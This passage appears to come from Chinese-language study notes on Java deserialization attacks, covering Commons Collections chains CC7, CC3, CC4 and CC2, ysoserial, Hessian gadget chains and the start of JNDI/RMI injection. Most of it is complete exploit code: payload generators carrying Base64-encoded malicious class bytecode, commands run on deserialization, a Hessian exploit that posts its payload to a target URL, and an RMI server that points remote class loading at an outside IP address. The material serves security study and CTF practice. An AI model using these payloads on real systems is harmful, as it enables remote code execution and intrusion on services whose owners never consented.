};
final Transformer transformerChain = new ChainedTransformer(transformers);
// 创建两个Map对象
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
//使用碰撞哈希创建两个LazyMaps,以便在readObject期间强制进行元素比较
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);// hashCode: 3872

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);// hashCode: 3872
//创建Hashtable并添加元素
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
//需要确保在以前的操作之后发生哈希冲突,因为在hashtable.put(lazyMap2, 2);中lazyMap2多了“yy”
lazyMap2.remove("yy");

return hashtable;
}

public static void main(String[] args) throws Exception {
// 生成Payload
Hashtable payload = getObject("calc");

// 序列化测试
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(payload);
}

// 反序列化测试
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
try (ObjectInputStream ois = new ObjectInputStream(bais)) {
ois.readObject(); // 触发命令执行
}
}
}

关键问题的解释:

为什么有两次 put?

第一次 put(lazyMap1, 1)

  • 计算 lazyMap1.hashCode() → 调用 HashMap.hashCode()
  • 直接放入哈希表,无冲突

第二次 put(lazyMap2, 2)

  1. 计算哈希冲突:lazyMap2lazyMap1 哈希值相同

  2. 进入冲突处理循环:

    1
    2
    3
    4
    5
    for(; entry != null ; entry = entry.next) {
    if ((entry.hash == hash) && entry.key.equals(key)) {
    // 这里会调用 equals() 比较
    }
    }
  3. 触发 equals()lazyMap1.equals(lazyMap2)

  4. 进入 AbstractMap.equals()

    1
    2
    3
    4
    5
    6
    7
    while (i.hasNext()) {
    Entry<K,V> e = i.next();
    K key = e.getKey();
    V value = e.getValue();
    if (!value.equals(m.get(key))) // 这里调用 m.get(key)
    return false;
    }
  5. 调用 LazyMap.get("yy"):因为 lazyMap2 中没有 “yy” 键

  6. 触发 Transformer 链:执行恶意代码

为什么要 remove?

  • lazyMap2.put("zZ", 2) 过程中,由于调用了 lazyMap2.get("yy")
  • LazyMap.get() 会自动将 ("yy", transformed_value) 放入 map
  • 这导致两个 Map 的 size 不同,在反序列化时的 equals() 比较会直接返回 false

image-20251112164235089

cc7&cc6 比较

对比维度 CC6 链(hashcode => getvalue) CC7 链(哈希冲突 => equals)
核心类 HashMap + TiedMapEntry + LazyMap Hashtable + LazyMap + LazyMap
触发入口 HashMap.readObject() Hashtable.readObject()
关键触发方法 TiedMapEntry.hashCode() AbstractMap.equals()
攻击链路径 hashCode() → getValue() → get() → transform() equals() → get() → transform()
需要的对象数量 1个 TiedMapEntry + 1个 LazyMap 2个 LazyMap
remove操作原因 清除LazyMap自动添加的条目,确保反序列化时再次触发transform 确保两个Map的size相同,使equals()能进入详细比较
remove时机 在反射替换Transformer之前 在第二个put操作之后
cc3

我们注意到上文提到的 cc 链都是通过 InvokerTransform 来任意代码执行的,倘若 ban 掉了那该如何 RCE 呢?

用 TemplatesImpl,只需要调用 templates.newTransformer 就可以进行恶意类载入 RCE。

介绍 cc3 链子中的工具:TrAXFilter

image-20251111204132643

在这个类的构造方法就执行了 newTransformer 方法。

那么怎么调用构造方法呢?

这里用 InstantiateTransformer.transform。

下面就是前面入口类与 cc1(LazyMap)基本相同的 cc3链子了:

1
AnnotationInvocationHandler.readobject => memberValues.entrySet => AnnotationInvocationHandler.invoke => lazymap.get => ChainedTransformer.transform() => ConstantTransformer.transform() => InstantiateTransformer.transform()

测试 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import org.apache.commons.collections.functors.InstantiateTransformer;

public class Transform {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "xxx");//无所谓
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\Lenovo\\Desktop\\evil.class"));
byte[][] codes = new byte[][]{code};
bytecodesField.set(templates, codes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package com.example.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
//import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Transform {

public static void main(String[] args) {

try{
//字节码
byte[] code = Base64.decode("yv66vgAAADMAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAB4HABwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAgAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAkACgcAIQwAIgAjAQAEY2FsYwwAJAAlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAJgAKAQAVY29tL2V4YW1wbGUvZGVtby9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAYAACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADgAEABAADQATABAAEQARABIAFQAUAA0AAAAQAAL/ABAAAQcADgABBwAPBAABABAAEQACAAsAAAAZAAAAAwAAAAGxAAAAAQAMAAAABgABAAAAGAASAAAABAABABMAAQAQABQAAgALAAAAGQAAAAQAAAABsQAAAAEADAAAAAYAAQAAABwAEgAAAAQAAQATAAEAFQAAAAIAFg==");

//反射设置 Field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//LazyMap实例
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

//反射获取AnnotationInvocationHandler实例
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

//动态代理类,为了触发 AnnotationInvocationHandler#invoke
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);


//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();

//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();

} catch (Exception e) {
e.printStackTrace();
}

}


//反射设置 Field
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}

}
cc4

本链环境:

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

这条链子的起点是 priority_queue 的 readobject

看一下 priority_queue 的构造方法

image-20251112145332227

传一个初始容量和 comparator进去,然后看一下入口 readobject,

image-20251112144125967

走入 heapify,

image-20251112144316422

这里:

1
for (int i = (size >>> 1) - 1; i >= 0; i--)//2>>1-1 = 0,循环一次,所以size至少为2

image-20251112144300326

进 siftDownUsingComparator 方法

image-20251112144423628

进 comparator.compare 方法

image-20251112144453309

这里 TransformingComaprator.compare,执行了 transformer 的 transform 方法。

看一下构造方法,传进去 chainedtransformer 即可,后面的和 cc3 链差不多,都是调 translateClass

image-20251112150801357

注意注意,因为priorityQueue.add(1)在添加过程中,就会进一步地触发 compare() 方法,导致利用链生成,为了避免提前触发先改成一个假的后面进行反射修改即可。

image-20251112171103215

image-20251112171112185

image-20251112171121379

image-20251112171128697

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package com.example.demo;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;

public class Transform {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException {
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\Lenovo\\IdeaProjects\\untitled2\\src\\main\\java\\com\\example\\demo\\Evil.class"));
final TemplatesImpl templates = new TemplatesImpl();
//给变量设置值
Setvalue(templates,"_name","Evil");
Setvalue(templates,"_bytecodes",new byte[][]{bytes});
Setvalue(templates,"_tfactory",new TransformerFactoryImpl());
//调用链头
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers =new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);


Class c =transformingComparator.getClass();
Field transformingField= c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator,chainedTransformer);


serialize(priorityQueue);
unserialize("2.bin");


}
//给变量设置值的方法
public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {
final Field field = classname.getClass().getDeclaredField(valuename);
field.setAccessible(true);
field.set(classname,value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

链子:

1
priorityqueue.readobject=>priorityqueue.heapify()=>priorityqueue.siftDown()=>priorityqueue.siftDownUsingComparator()=>transformingComparator.compare()=>transform=>chainedtransformer=>instantiateTransformer=>traAXFilter=>TemplateImpl.newtransformer=>工具类defineclass加载字节码=>构造函数调用
cc2

cc2链子是 cc4 前半部分,走到 chainedtransformer 调用的时候不用 traAXFilter 来调 templateImpl 恶意加载字节码,而是用 Invokertransformer 调 templateImpl。

看一下具体实现

image-20251112204459952

这里 走到 comparator.compare 的时候第一个参数进来的是第一个 obj(),因此要 Invokertransform 调用的就是 templates.newTransformer 来 RCE。

同样的为了避免在 add 中提前触发 compare 方法,所以要先进行一波错误的初始化然后再反射修改。

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package com.example.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.Time;
import java.util.PriorityQueue;

public class Transform {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class cc3 = templates.getClass();
Field nameField = cc3.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "sfabc");
Field bytecodesField = cc3.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\Lenovo\\IdeaProjects\\untitled2\\src\\main\\java\\com\\example\\demo\\Evil.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add("1");
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
BadAttributeValueExpException 改cc4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class AttackCC4TI {
public static void main(String[] args) throws Exception {
byte[] bytes = generate();
String b64 = Base64.getEncoder().encodeToString(bytes);
java.nio.file.Files.write(java.nio.file.Paths.get("payload.txt"), b64.getBytes("UTF-8"));
System.out.println("OK payload.txt");
}

static byte[] generate() throws Exception {
byte[] clazz = readAll("EchoPayload.class");
TemplatesImpl templates = new TemplatesImpl();
set(templates, "_name", "pwn");
set(templates, "_bytecodes", new byte[][]{clazz});
set(templates, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[0], new Object[0])
};
Transformer chain = new ChainedTransformer(transformers);

Map inner = new HashMap();
Map lazy = LazyMap.lazyMap(inner, new ConstantTransformer(1));
TiedMapEntry entry = new TiedMapEntry(lazy, "foo");
BadAttributeValueExpException bae = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(bae, entry);
Field fac = lazy.getClass().getDeclaredField("factory");
fac.setAccessible(true);
fac.set(lazy, chain);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(bae);
oos.close();
return baos.toByteArray();
}

static void set(Object obj, String f, Object v) throws Exception {
Field field = obj.getClass().getDeclaredField(f);
field.setAccessible(true);
field.set(obj, v);
}

static byte[] readAll(String path) throws Exception {
File file = new File(path);
InputStream is = new FileInputStream(file);
byte[] buf = new byte[(int) file.length()];
int off = 0;
int n;
while ((n = is.read(buf, off, buf.length - off)) > 0) off += n;
is.close();
return buf;
}
}
cc 链工具

frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

1
java -jar ysoserial-all.jar CommonsCollections5 "calc" | base64 -w 0 | tee 1.txt

Hessian反序列化

原生+TemplatesImpl(高版本)

【Web】浅聊Hessian反序列化原生jdk利用与高版本限制绕过_jdk17 hessian 反序列化-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;

public class EXP2 {
public static Object loadClass() throws Exception {
UIDefaults uiDefaults = new UIDefaults();

String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("Z3r4y");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"whoami\");");
byte[] bytes = payload.toBytecode();
Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Method newTransformer = Class.forName(TemplatesImpl).getDeclaredMethod("newTransformer");

setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{newTransformer, templates, new Object[]{}}});

uiDefaults.put("xxx", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
return mimeTypeParameterList;
}

public static void ser(Object evil) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true); //允许反序列化NonSerializable

baos.write(67);
output.writeObject(evil);
output.flushBuffer();

byte[] payloadBytes = baos.toByteArray();
String base64Payload = Base64.getEncoder().encodeToString(payloadBytes);

System.out.println("=== Hessian2 Payload (Base64) ===");
System.out.println(base64Payload);
System.out.println("=================================");
}

public static void main(String[] args) throws Exception {
try {
ser(loadClass());
} catch (Exception e) {
e.printStackTrace();
}
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
_toString

[TCTF2022 Hessian-onlyJdk - Boogiepop Doesn’t Laugh](https://boogipop.com/2023/03/29/TCTF2022 _ Hessian-onlyJdk/)

exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
package com.app;

import com.app.qwq;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.security.util.DerInputStream;
import sun.security.util.DerValue;
import sun.security.util.ObjectIdentifier;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Base64;

// 前提条件:CVE-2021-43297,打toString()
public class exp {
static final String targetUrl = "http://localhost:7999/ROOT_war/code";

public static void main(String[] args) throws Exception {
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
UIDefaults uiDefaults = new UIDefaults();
JavaClass evil = Repository.lookupClass(qwq.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);

uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));

setFieldValue(s, "attributes", uiDefaults);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(s);
out.flushBuffer();

// 修改:使用 base64 编码并包装为 code=xxx 格式
String base64Data = Base64.getEncoder().encodeToString(baos.toByteArray());
postWithBase64(base64Data);

// 以下代码可保留用于调试
// ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
// Hessian2Input input = new Hessian2Input(bais);
//input.readObject();
}

public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

// 新增:使用 base64 格式发送 POST 请求
public static void postWithBase64(String base64Data) throws Exception {
URL url = new URL(targetUrl);
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
con.setDoOutput(true);

// 构造参数:code=base64字符串
String postData = "code=" + URLEncoder.encode(base64Data, "UTF-8");
System.out.println(postData);

try (OutputStream os = con.getOutputStream()) {
os.write(postData.getBytes("UTF-8"));
os.flush();
}

// 读取响应
int responseCode = con.getResponseCode();
System.out.println("Response Code: " + responseCode);

// 读取响应内容
try (BufferedReader in = new BufferedReader(new InputStreamReader(
responseCode >= 400 ? con.getErrorStream() : con.getInputStream()))) {
String inputLine;
StringBuilder content = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
content.append(inputLine);
}
System.out.println("Response Content: " + content.toString());
}
}

// 保留原始方法(可选)
public static void post(byte[] b) throws Exception {
URL url = new URL(targetUrl);
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoOutput(true);

try (OutputStream os = con.getOutputStream()) {
os.write(b);
}

BufferedReader in = new BufferedReader(
new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuilder content = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
content.append(inputLine);
}
in.close();

System.out.println(content.toString());
}
}

qwq.java(编译为字节码 qwq.class

1
2
3
4
5
6
7
8
9
package com.app;

import java.io.IOException;

public class qwq {
public static void _main(String[] argv) throws IOException {
Runtime.getRuntime().exec("");
}
}
内存马

Java Hessian反序列化之原生JDK利用链分析以及不出网注入内存马 | P0l@R19ht

JNDI注入

Java安全学习——JNDI注入 - 枫のBlog

概述

一图读懂:

image-20251128134449107

大概就是通过一些接口,能够轻量化的统一集成式的解决一些开发痛点,能够产生注入的大概就是下面两个接口:

  • RMI: Java Remote Method Invocation,Java 远程方法调用
  • LDAP: 轻量级目录访问协议

Reference类

Reference 类表示对存在于命名/目录系统以外的对象的引用。比如远程获取 RMI 服务上的对象是 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

当在本地找不到所调用的类时,我们可以通过Reference类来调用位于远程服务器的类。

Reference 类常用构造函数如下

1
2
3
4
//className为远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
//factory为工厂类名
//factoryLocation为工厂类加载的地址,可以是file://、ftp://、http:// 等协议
Reference(String className, String factory, String factoryLocation)

RMI 中,由于我们远程加载的对象需要继承UnicastRemoteObject类,所以这里我们需要使用ReferenceWrapper 类对 Reference 类或其子类对象进行远程包装成 Remote 类使其能够被远程访问。

低版本注入

image-20251128142117921

以下低版本均为:8u65

RMI + Reference

服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMI_Server_Reference {
void register() throws Exception{
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("RMIHello","RMIHello","http://123.57.107.33:8888/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/hello",refObjWrapper);
System.out.println("Registry运行中......");
}

public static void main(String[] args) throws Exception {
new RMI_Server_Reference().register();
}
}

远程类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import javax.naming.Context;
import javax.naming.Name;
